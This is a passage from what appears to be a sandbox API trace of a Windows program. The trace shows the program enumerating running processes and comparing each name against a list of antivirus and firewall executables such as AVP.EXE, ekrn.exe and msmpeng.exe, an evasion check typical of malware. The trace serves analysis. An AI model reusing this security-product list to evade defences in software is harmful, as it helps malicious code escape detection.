pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.159] GetLastError () returned 0xcb [0163.159] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0163.159] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0163.159] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0163.159] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.159] GetLastError () returned 0xcb [0163.159] lstrcmpiW (lpString1="AVP.EXE", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="ekrn.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="avgnt.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="ashDisp.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="Mcshield.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="avengine.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="cmdagent.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="smc.exe", lpString2="wininit.exe") returned -1 [0163.159] lstrcmpiW (lpString1="persfw.exe", lpString2="wininit.exe") returned -1 [0163.160] lstrcmpiW (lpString1="pccpfw.exe", lpString2="wininit.exe") returned -1 [0163.160] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="wininit.exe") returned -1 [0163.160] lstrcmpiW (lpString1="cfp.exe", lpString2="wininit.exe") returned -1 [0163.160] lstrcmpiW (lpString1="msmpeng.exe", lpString2="wininit.exe") returned -1 [0163.160] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.160] GetLastError () returned 0xcb [0163.160] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0163.160] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0163.160] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0163.160] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.161] GetLastError () returned 0xcb [0163.161] lstrcmpiW (lpString1="AVP.EXE", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="ekrn.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="avgnt.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="ashDisp.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="Mcshield.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="avengine.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="cmdagent.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="smc.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="persfw.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="pccpfw.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="cfp.exe", lpString2="winlogon.exe") returned -1 [0163.161] lstrcmpiW (lpString1="msmpeng.exe", lpString2="winlogon.exe") returned -1 [0163.161] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.161] GetLastError () returned 0xcb [0163.161] lstrcmpiW (lpString1="AVP.EXE", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="ekrn.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="avgnt.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="ashDisp.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="Mcshield.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="avengine.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="cmdagent.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="smc.exe", lpString2="services.exe") returned 1 [0163.161] lstrcmpiW (lpString1="persfw.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="pccpfw.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="cfp.exe", lpString2="services.exe") returned -1 [0163.161] lstrcmpiW (lpString1="msmpeng.exe", lpString2="services.exe") returned -1 [0163.161] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.162] GetLastError () returned 0xcb [0163.162] lstrcmpiW (lpString1="AVP.EXE", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="ekrn.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="avgnt.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="ashDisp.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="lsass.exe") returned 1 [0163.162] lstrcmpiW (lpString1="Mcshield.exe", lpString2="lsass.exe") returned 1 [0163.162] lstrcmpiW (lpString1="avengine.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="cmdagent.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="smc.exe", lpString2="lsass.exe") returned 1 [0163.162] lstrcmpiW (lpString1="persfw.exe", lpString2="lsass.exe") returned 1 [0163.162] lstrcmpiW (lpString1="pccpfw.exe", lpString2="lsass.exe") returned 1 [0163.162] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="cfp.exe", lpString2="lsass.exe") returned -1 [0163.162] lstrcmpiW (lpString1="msmpeng.exe", lpString2="lsass.exe") returned 1 [0163.162] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.162] GetLastError () returned 0xcb [0163.162] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.162] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.163] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.163] GetLastError () returned 0xcb [0163.163] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.163] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.163] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.163] GetLastError () returned 0xcb [0163.164] lstrcmpiW (lpString1="AVP.EXE", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="ekrn.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="avgnt.exe", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="ashDisp.exe", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="Mcshield.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="avengine.exe", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="cmdagent.exe", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="smc.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="persfw.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="pccpfw.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="dwm.exe") returned 1 [0163.164] lstrcmpiW (lpString1="cfp.exe", lpString2="dwm.exe") returned -1 [0163.164] lstrcmpiW (lpString1="msmpeng.exe", lpString2="dwm.exe") returned 1 [0163.164] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.164] GetLastError () returned 0xcb [0163.164] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.164] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.164] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.165] GetLastError () returned 0xcb [0163.165] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.165] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.165] GetLastError () returned 0xcb [0163.165] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.165] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.166] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.166] GetLastError () returned 0xcb [0163.166] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.166] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.166] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.166] GetLastError () returned 0xcb [0163.166] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0163.167] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.167] GetLastError () returned 0xcb [0163.167] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0163.167] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0163.167] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.168] GetLastError () returned 0xcb [0163.168] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.168] GetLastError () returned 0xcb [0163.168] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.168] GetLastError () returned 0xcb [0163.168] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0163.169] GetLastError () returned 0xcb [0163.169] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.169] GetLastError () returned 0xcb [0163.169] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0163.169] GetLastError () returned 0xcb [0163.170] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.170] GetLastError () returned 0xcb [0163.170] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x614, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.170] GetLastError () returned 0xcb [0163.170] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0163.171] GetLastError () returned 0xcb [0163.171] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0163.171] GetLastError () returned 0xcb [0163.171] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0163.171] GetLastError () returned 0xcb [0163.171] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0163.172] GetLastError () returned 0xcb [0163.172] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0163.172] GetLastError () returned 0xcb [0163.172] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0163.173] GetLastError () returned 0xcb [0163.173] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, 